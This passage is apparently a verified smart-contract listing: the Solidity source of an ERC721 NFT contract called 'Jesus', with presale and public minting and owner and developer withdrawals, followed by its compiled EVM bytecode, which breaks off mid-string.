PRBMath.sqrt(x * SCALE); } } /// @notice Converts a unsigned 60.18-decimal fixed-point number to basic integer form, rounding down in the process. /// @param x The unsigned 60.18-decimal fixed-point number to convert. /// @return result The same number in basic integer form. function toUint(uint256 x) internal pure returns (uint256 result) { unchecked { result = x / SCALE; } } } // File: contracts/Jesus.sol pragma solidity ^0.8.0; contract Jesus is ERC721, Ownable, DeveloperAccess, ReentrancyGuard { using PRBMathUD60x18 for uint256; uint256 constant private _developerEquity = 50000000000000000; // 5% (18 decimals) uint256 private _totalVolume; uint256 private _developerWithdrawn; uint256 public mintPrice; constructor( address devAddress, uint16 maxSupply, uint256 price, address signer, uint256 presaleMintStart, uint256 presaleMintEnd, uint16 maxPresale, uint256 publicMintStart, uint16 publicTransactionMax ) ERC721("Jesus", "JESUS") DeveloperAccess(devAddress) { require(maxSupply > 0, "Zero supply"); // GLOBALS mintSigner = signer; totalSupply = maxSupply; mintPrice = price; // CONFIGURE PRESALE Mint presaleMint.startDate = presaleMintStart; presaleMint.endDate = presaleMintEnd; presaleMint.maxMinted = maxPresale; // CONFIGURE PUBLIC MINT publicMint.startDate = publicMintStart; publicMint.maxPerTransaction = publicTransactionMax; } event Paid(address sender, uint256 amount); event Withdraw(address recipient, uint256 amount); struct WhitelistedMint { /** * The start date in unix seconds */ uint256 startDate; /** * The end date in unix seconds */ uint256 endDate; /** * The total number of tokens minted in this whitelist */ uint16 totalMinted; /** * The maximum number of tokens minted in this whitelist */ uint16 maxMinted; /** * The minters in this whitelisted mint * mapped to the number minted */ mapping(address => uint16) minted; } struct PublicMint { /** * The start date in unix seconds */ uint256 startDate; /** * The maximum per transaction */ uint16 maxPerTransaction; } string baseURI; uint16 public totalSupply; uint16 public minted; address private mintSigner; mapping(address => uint16) public lastMintNonce; /** * An exclusive mint for members granted * presale */ WhitelistedMint public presaleMint; /** * The public mint for everybody. */ PublicMint public publicMint; /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } /** * Sets the base URI for all tokens * * @dev be sure to terminate with a slash * @param uri - the target base uri (ex: 'https://google.com/') */ function setBaseURI(string calldata uri) public onlyOwner { baseURI = uri; } /** * Sets the signer for presale transactions * * @param signer - the new signer's address */ function setSigner(address signer) public onlyOwner { mintSigner = signer; } /** * Burns the provided token id if you own it. * Reduces the supply by 1. * * @param tokenId - the ID of the token to be burned. */ function burn(uint256 tokenId) public { require(ownerOf(tokenId) == msg.sender, "You do not own this token"); _burn(tokenId); } // ------------------------------------------------ MINT STUFFS ------------------------------------------------ function getPresaleMints(address user) external view returns (uint16) { return presaleMint.minted[user]; } function updateMintPrice( uint256 price ) public onlyOwner { mintPrice = price; } /** * Updates the presale mint's characteristics * * @param startDate - the start date for that mint in UNIX seconds * @param endDate - the end date for that mint in UNIX seconds */ function updatePresaleMint( uint256 startDate, uint256 endDate, uint16 maxMinted ) public onlyOwner { presaleMint.startDate = startDate; presaleMint.endDate = endDate; presaleMint.maxMinted = maxMinted; } /** * Updates the public mint's characteristics * * @param maxPerTransaction - the maximum amount allowed in a wallet to mint in the public mint * @param startDate - the start date for that mint in UNIX seconds */ function updatePublicMint( uint16 maxPerTransaction, uint256 startDate ) public onlyOwner { publicMint.maxPerTransaction = maxPerTransaction; publicMint.startDate = startDate; } function getPremintHash( address minter, uint16 quantity, uint16 nonce ) public pure returns (bytes32) { return VerifySignature.getMessageHash(minter, quantity, nonce); } /** * Mints in the premint stage by using a signed transaction from a centralized whitelist. * The message signer is expected to only sign messages when they fall within the whitelist * specifications. * * @param quantity - the number to mint * @param nonce - a random nonce which indicates that a signed transaction hasn't already been used. * @param signature - the signature given by the centralized whitelist authority, signed by * the account specified as mintSigner. */ function premint( uint16 quantity, uint16 nonce, bytes calldata signature ) public payable nonReentrant { uint256 remaining = totalSupply - minted; require(remaining > 0, "Mint over"); require(quantity >= 1, "Zero mint"); require(quantity <= remaining, "Not enough"); require(lastMintNonce[msg.sender] < nonce, "Nonce used"); require( presaleMint.startDate <= block.timestamp && presaleMint.endDate >= block.timestamp, "No mint" ); require( VerifySignature.verify( mintSigner, msg.sender, quantity, nonce, signature ), "Invalid sig" ); require(mintPrice * quantity == msg.value, "Bad value"); require( presaleMint.totalMinted + quantity <= presaleMint.maxMinted, "Limit exceeded" ); presaleMint.minted[msg.sender] += quantity; presaleMint.totalMinted += quantity; lastMintNonce[msg.sender] = nonce; // update nonce _totalVolume += msg.value; // DISTRIBUTE THE TOKENS uint16 i; for (i; i < quantity; i++) { minted += 1; _safeMint(msg.sender, minted); } } /** * Mints the given quantity of tokens provided it is possible to. * * @notice This function allows minting in the public sale * or at any time for the owner of the contract. * * @param quantity - the number of tokens to mint */ function mint(uint16 quantity) public payable nonReentrant { uint256 remaining = totalSupply - minted; require(remaining > 0, "Mint over"); require(quantity >= 1, "Zero mint"); require(quantity <= remaining, "Not enough"); if (owner() == msg.sender) { // OWNER MINTING FOR FREE require(msg.value == 0, "Owner paid"); } else if (block.timestamp >= publicMint.startDate) { // PUBLIC MINT require(quantity <= publicMint.maxPerTransaction, "Exceeds max"); require( quantity * mintPrice == msg.value, "Invalid value" ); } else { // NOT ELIGIBLE FOR PUBLIC MINT revert("No mint"); } _totalVolume += msg.value; // DISTRIBUTE THE TOKENS uint16 i; for (i; i < quantity; i++) { minted += 1; _safeMint(msg.sender, minted); } } function developerAllotment() public view returns (uint256) { return _developerEquity.mul(_totalVolume) - _developerWithdrawn; } /** * Withdraws balance from the contract to the owner (sender). * @param amount - the amount to withdraw, much be <= contract balance and dev allotment. */ function withdrawOwner(uint256 amount) external onlyOwner { require(address(this).balance >= amount + developerAllotment(), "Invalid amt"); (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Trans failed"); emit Withdraw(msg.sender, amount); } /** * Withdraws balance from the contract to the developer (sender). * @param amount - the amount to withdraw, much be <= contract balance. */ function withdrawDeveloper(uint256 amount) external onlyDeveloper { uint256 devAllotment = developerAllotment(); require(amount <= devAllotment, "Invalid amt"); _developerWithdrawn += amount; (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Trans failed"); emit Withdraw(msg.sender, amount); } /** * The receive function, does nothing */ receive() external payable { _totalVolume += msg.value; emit Paid(msg.sender, msg.value); } }
0x6080604052600436106102885760003560e01c806368bef344116101535780639bbee240116100cb578063ca4b208b1161007f578063e985e9c511610064578063e985e9c5146107f5578063ecd2977f1461084b578063f2fde38b1461086057600080fd5b8063ca4b208b14610799578063e2cedd49146107c457600080fd5b8063b88d4fde116100b0578063b88d4fde14610712578063baa551ee14610732578063c87b56dd1461077957600080fd5b80639bbee240146106d2578063a22cb465146106f257600080fd5b8063715018a6116101225780638da5cb5b116101075780638da5cb5b1461067f5780639207b05a146106aa57806395d89b41146106bd57600080fd5b8063715018a6146106555780638cc401d51461066a57600080fd5b806368bef344146105d55780636c19e783146105f55780636ef98b211461061557806370a082311461063557600080fd5b806325102b64116102015780634f02c420116101b557806359533d6c1161019a57806359533d6c1461053a5780636352211e146105915780636817c76c146105b157600080fd5b80634f02c420146104f957806355f804b31461051a57600080fd5b8063308bfa7c116101e6578063308bfa7c1461049957806342842e0e146104b957806342966c68146104d957600080fd5b806325102b641461044257806326092b831461046257600080fd5b8063095ea7b31161025857806318160ddd1161023d57806318160ddd146103e157806323b872dd1461040f57806323cf0a221461042f57600080fd5b8063095ea7b3146103a15780630bd0e3a3146103c157600080fd5b8062728e46146102e357806301ffc9a71461030557806306fdde031461033a578063081812fc1461035c57600080fd5b366102de57346009600082825461029f9190613d64565b9091555050604080513381523460208201527f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489910160405180910390a1005b600080fd5b3480156102ef57600080fd5b506103036102fe366004613ba2565b610880565b005b34801561031157600080fd5b50610325610320366004613a8e565b61090b565b60405190151581526020015b60405180910390f35b34801561034657600080fd5b5061034f6109f0565b6040516103319190613d34565b34801561036857600080fd5b5061037c610377366004613ba2565b610a82565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610331565b3480156103ad57600080fd5b506103036103bc366004613a2e565b610b5c565b3480156103cd57600080fd5b506103036103dc366004613bbb565b610d14565b3480156103ed57600080fd5b50600d546103fc9061ffff1681565b60405161ffff9091168152602001610331565b34801561041b57600080fd5b5061030361042a36600461387e565b610dd9565b61030361043d366004613b0a565b610e7a565b34801561044e57600080fd5b5061030361045d366004613b86565b6112f6565b34801561046e57600080fd5b50601354601454610481919061ffff1682565b6040805192835261ffff909116602083015201610331565b3480156104a557600080fd5b506103036104b4366004613ba2565b6113b0565b3480156104c557600080fd5b506103036104d436600461387e565b6115d3565b3480156104e557600080fd5b506103036104f4366004613ba2565b6115ee565b34801561050557600080fd5b50600d546103fc9062010000900461ffff1681565b34801561052657600080fd5b50610303610535366004613ac8565b611681565b34801561054657600080fd5b50600f5460105460115461056792919061ffff808216916201000090041684565b60408051948552602085019390935261ffff91821692840192909252166060820152608001610331565b34801561059d57600080fd5b5061037c6105ac366004613ba2565b61170e565b3480156105bd57600080fd5b506105c7600b5481565b604051908152602001610331565b3480156105e157600080fd5b506105c76105f03660046139eb565b6117c0565b34801561060157600080fd5b50610303610610366004613830565b61188e565b34801561062157600080fd5b50610303610630366004613ba2565b61195e565b34801561064157600080fd5b506105c7610650366004613830565b611b49565b34801561066157600080fd5b50610303611c17565b34801561067657600080fd5b50610303611ca4565b34801561068b57600080fd5b5060065473ffffffffffffffffffffffffffffffffffffffff1661037c565b6103036106b8366004613b25565b611d54565b3480156106c957600080fd5b5061034f6123b5565b3480156106de57600080fd5b506103036106ed366004613830565b6123c4565b3480156106fe57600080fd5b5061030361070d3660046139b4565b612516565b34801561071e57600080fd5b5061030361072d3660046138ba565b61262d565b34801561073e57600080fd5b506103fc61074d366004613830565b73ffffffffffffffffffffffffffffffffffffffff1660009081526012602052604090205461ffff1690565b34801561078557600080fd5b5061034f610794366004613ba2565b6126d5565b3480156107a557600080fd5b5060075473ffffffffffffffffffffffffffffffffffffffff1661037c565b3480156107d057600080fd5b506103fc6107df366004613830565b600e6020526000908152604090205461ffff1681565b34801561080157600080fd5b5061032561081036600461384b565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561085757600080fd5b506105c76127e5565b34801561086c57600080fd5b5061030361087b366004613830565b612815565b60065473ffffffffffffffffffffffffffffffffffffffff163314610906576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600b55565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061099e57507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806109ea57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b6060600080546109ff90613e33565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2b90613e33565b8015610a785780601f10610a4d57610100808354040283529160200191610a78565b820191906000526020600020905b815481529060010190602001808311610a5b57829003601f168201915b5050505050905090565b60008181526002602052604081205473ffffffffffffffffffffffffffffffffffffffff16610b33576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016108fd565b5060009081526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000610b678261170e565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016108fd565b3373ffffffffffffffffffffffffffffffffffffffff82161480610c79575073ffffffffffffffffffffffffffffffffffffffff8116600090815260056020908152604080832033845290915290205460ff165b610d05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108fd565b610d0f8383612942565b505050565b60065473ffffffffffffffffffffffffffffffffffffffff163314610d95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b600f929092556010556011805461ffff90921662010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff909216919091179055565b610de333826129e2565b610e6f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016108fd565b610d0f838383612b4e565b60026008541415610ee7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108fd565b6002600855600d54600090610f089061ffff62010000820481169116613dcd565b61ffff16905060008111610f78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4d696e74206f766572000000000000000000000000000000000000000000000060448201526064016108fd565b60018261ffff161015610fe7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f5a65726f206d696e74000000000000000000000000000000000000000000000060448201526064016108fd565b808261ffff161115611055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420656e6f7567680000000000000000000000000000000000000000000060448201526064016108fd565b3361107560065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614156110fe5734156110f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4f776e657220706169640000000000000000000000000000000000000000000060448201526064016108fd565b611257565b60135442106111f55760145461ffff908116908316111561117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f45786365656473206d617800000000000000000000000000000000000000000060448201526064016108fd565b34600b548361ffff1661118e9190613d90565b146110f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f496e76616c69642076616c75650000000000000000000000000000000000000060448201526064016108fd565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f4e6f206d696e740000000000000000000000000000000000000000000000000060448201526064016108fd565b34600960008282546112699190613d64565b90915550600090505b8261ffff168161ffff1610156112ec576001600d60028282829054906101000a900461ffff166112a29190613d47565b92506101000a81548161ffff021916908361ffff1602179055506112da33600d60029054906101000a900461ffff1661ffff16612db5565b806112e481613e87565b915050611272565b5050600160085550565b60065473ffffffffffffffffffffffffffffffffffffffff163314611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00001661ffff9390931692909217909155601355565b60075473ffffffffffffffffffffffffffffffffffffffff163314611456576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742074686520646576656c60448201527f6f7065720000000000000000000000000000000000000000000000000000000060648201526084016108fd565b60006114606127e5565b9050808211156114cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f496e76616c696420616d7400000000000000000000000000000000000000000060448201526064016108fd565b81600a60008282546114de9190613d64565b9091555050604051600090339084908381818185875af1925050503d8060008114611525576040519150601f19603f3d011682016040523d82523d6000602084013e61152a565b606091505b5050905080611595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5472616e73206661696c6564000000000000000000000000000000000000000060448201526064016108fd565b60408051338152602081018590527f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364910160405180910390a1505050565b610d0f8383836040518060200160405280600081525061262d565b336115f88261170e565b73ffffffffffffffffffffffffffffffffffffffff1614611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f596f7520646f206e6f74206f776e207468697320746f6b656e0000000000000060448201526064016108fd565b61167e81612dd3565b50565b60065473ffffffffffffffffffffffffffffffffffffffff163314611702576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b610d0f600c83836136f5565b60008181526002602052604081205473ffffffffffffffffffffffffffffffffffffffff16806109ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016108fd565b6040517fd2b0737b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8416600482015261ffff80841660248301528216604482015260009073ba14b21b3840c710f366e93a9e19a3de30a19e6f9063d2b0737b9060640160206040518083038186803b15801561184e57600080fd5b505af4158015611862573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118869190613a75565b949350505050565b60065473ffffffffffffffffffffffffffffffffffffffff16331461190f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b600d805473ffffffffffffffffffffffffffffffffffffffff909216640100000000027fffffffffffffffff0000000000000000000000000000000000000000ffffffff909216919091179055565b60065473ffffffffffffffffffffffffffffffffffffffff1633146119df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b6119e76127e5565b6119f19082613d64565b471015611a5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f496e76616c696420616d7400000000000000000000000000000000000000000060448201526064016108fd565b604051600090339083908381818185875af1925050503d8060008114611a9c576040519150601f19603f3d011682016040523d82523d6000602084013e611aa1565b606091505b5050905080611b0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f5472616e73206661696c6564000000000000000000000000000000000000000060448201526064016108fd565b60408051338152602081018490527f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364910160405180910390a15050565b600073ffffffffffffffffffffffffffffffffffffffff8216611bee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016108fd565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b60065473ffffffffffffffffffffffffffffffffffffffff163314611c98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b611ca26000612ea0565b565b60075473ffffffffffffffffffffffffffffffffffffffff163314611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742074686520646576656c60448201527f6f7065720000000000000000000000000000000000000000000000000000000060648201526084016108fd565b611ca26000612f17565b60026008541415611dc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108fd565b6002600855600d54600090611de29061ffff62010000820481169116613dcd565b61ffff16905060008111611e52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4d696e74206f766572000000000000000000000000000000000000000000000060448201526064016108fd565b60018561ffff161015611ec1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f5a65726f206d696e74000000000000000000000000000000000000000000000060448201526064016108fd565b808561ffff161115611f2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420656e6f7567680000000000000000000000000000000000000000000060448201526064016108fd565b336000908152600e602052604090205461ffff808616911610611fae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f6e636520757365640000000000000000000000000000000000000000000060448201526064016108fd565b600f544210801590611fc257506010544211155b612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f4e6f206d696e740000000000000000000000000000000000000000000000000060448201526064016108fd565b600d546040517fcffc18eb00000000000000000000000000000000000000000000000000000000815273ba14b21b3840c710f366e93a9e19a3de30a19e6f9163cffc18eb916120a291640100000000900473ffffffffffffffffffffffffffffffffffffffff169033908a908a908a908a90600401613c60565b60206040518083038186803b1580156120ba57600080fd5b505af41580156120ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120f29190613a58565b612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f496e76616c69642073696700000000000000000000000000000000000000000060448201526064016108fd565b348561ffff16600b5461216b9190613d90565b146121d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4261642076616c7565000000000000000000000000000000000000000000000060448201526064016108fd565b60115461ffff6201000082048116916121ed91889116613d47565b61ffff161115612259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f4c696d697420657863656564656400000000000000000000000000000000000060448201526064016108fd565b336000908152601260205260408120805487929061227c90849061ffff16613d47565b92506101000a81548161ffff021916908361ffff16021790555084600f60020160008282829054906101000a900461ffff166122b89190613d47565b82546101009290920a61ffff818102199093169183160217909155336000908152600e6020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000169288169290921790915560098054349350909190612325908490613d64565b90915550600090505b8561ffff168161ffff1610156123a8576001600d60028282829054906101000a900461ffff1661235e9190613d47565b92506101000a81548161ffff021916908361ffff16021790555061239633600d60029054906101000a900461ffff1661ffff16612db5565b806123a081613e87565b91505061232e565b5050600160085550505050565b6060600180546109ff90613e33565b60075473ffffffffffffffffffffffffffffffffffffffff16331461246a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742074686520646576656c60448201527f6f7065720000000000000000000000000000000000000000000000000000000060648201526084016108fd565b73ffffffffffffffffffffffffffffffffffffffff811661250d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4f776e61626c653a206e657720646576656c6f70657220697320746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016108fd565b61167e81612f17565b73ffffffffffffffffffffffffffffffffffffffff8216331415612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108fd565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61263733836129e2565b6126c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016108fd565b6126cf84848484612f8e565b50505050565b60008181526002602052604090205460609073ffffffffffffffffffffffffffffffffffffffff16612789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016108fd565b6000612793613031565b905060008151116127b357604051806020016040528060008152506127de565b806127bd84613040565b6040516020016127ce929190613c31565b6040516020818303038152906040525b9392505050565b6000600a5461280660095466b1a2bc2ec5000061317290919063ffffffff16565b6128109190613df0565b905090565b60065473ffffffffffffffffffffffffffffffffffffffff163314612896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108fd565b73ffffffffffffffffffffffffffffffffffffffff8116612939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016108fd565b61167e81612ea0565b600081815260046020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8416908117909155819061299c8261170e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008181526002602052604081205473ffffffffffffffffffffffffffffffffffffffff16612a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016108fd565b6000612a9e8361170e565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612b0d57508373ffffffffffffffffffffffffffffffffffffffff16612af584610a82565b73ffffffffffffffffffffffffffffffffffffffff16145b80611886575073ffffffffffffffffffffffffffffffffffffffff80821660009081526005602090815260408083209388168352929052205460ff16611886565b8273ffffffffffffffffffffffffffffffffffffffff16612b6e8261170e565b73ffffffffffffffffffffffffffffffffffffffff1614612c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016108fd565b73ffffffffffffffffffffffffffffffffffffffff8216612cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016108fd565b612cbe600082612942565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805460019290612cf4908490613df0565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000908152600360205260408120805460019290612d2f908490613d64565b909155505060008181526002602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b612dcf82826040518060200160405280600081525061317e565b5050565b6000612dde8261170e565b9050612deb600083612942565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600360205260408120805460019290612e21908490613df0565b909155505060008281526002602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555183919073ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6006805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6007805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907fede61b2c1b6ea8932acda2da1fa8be10c31d93a5ef149f84a2a04c178054044990600090a35050565b612f99848484612b4e565b612fa584848484613221565b6126cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016108fd565b6060600c80546109ff90613e33565b60608161308057505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b81156130aa578061309481613ea9565b91506130a39050600a83613d7c565b9150613084565b60008167ffffffffffffffff8111156130c5576130c5613f83565b6040519080825280601f01601f1916602001820160405280156130ef576020820181803683370190505b5090505b841561188657613104600183613df0565b9150613111600a86613ee2565b61311c906030613d64565b60f81b81838151811061313157613131613f54565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061316b600a86613d7c565b94506130f3565b60006127de8383613420565b6131888383613533565b6131956000848484613221565b610d0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016108fd565b600073ffffffffffffffffffffffffffffffffffffffff84163b15613415576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a0290613298903390899088908890600401613ceb565b602060405180830381600087803b1580156132b257600080fd5b505af1925050508015613300575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682019092526132fd91810190613aab565b60015b6133ca573d80801561332e576040519150601f19603f3d011682016040523d82523d6000602084013e613333565b606091505b5080516133c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016108fd565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611886565b506001949350505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848609848602925082811083820303915050670de0b6b3a7640000811061349b576040517fd31b3402000000000000000000000000000000000000000000000000000000008152600481018290526024016108fd565b600080670de0b6b3a76400008688099150506706f05b59d3b1ffff8111826134d55780670de0b6b3a76400008504019450505050506109ea565b6204000082850304939091119091037d40000000000000000000000000000000000000000000000000000000000002919091177faccb18165bd6fe31ae1cf318dc5b51eee0e1ba569b88cd74c1773b91fac106690201905092915050565b73ffffffffffffffffffffffffffffffffffffffff82166135b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060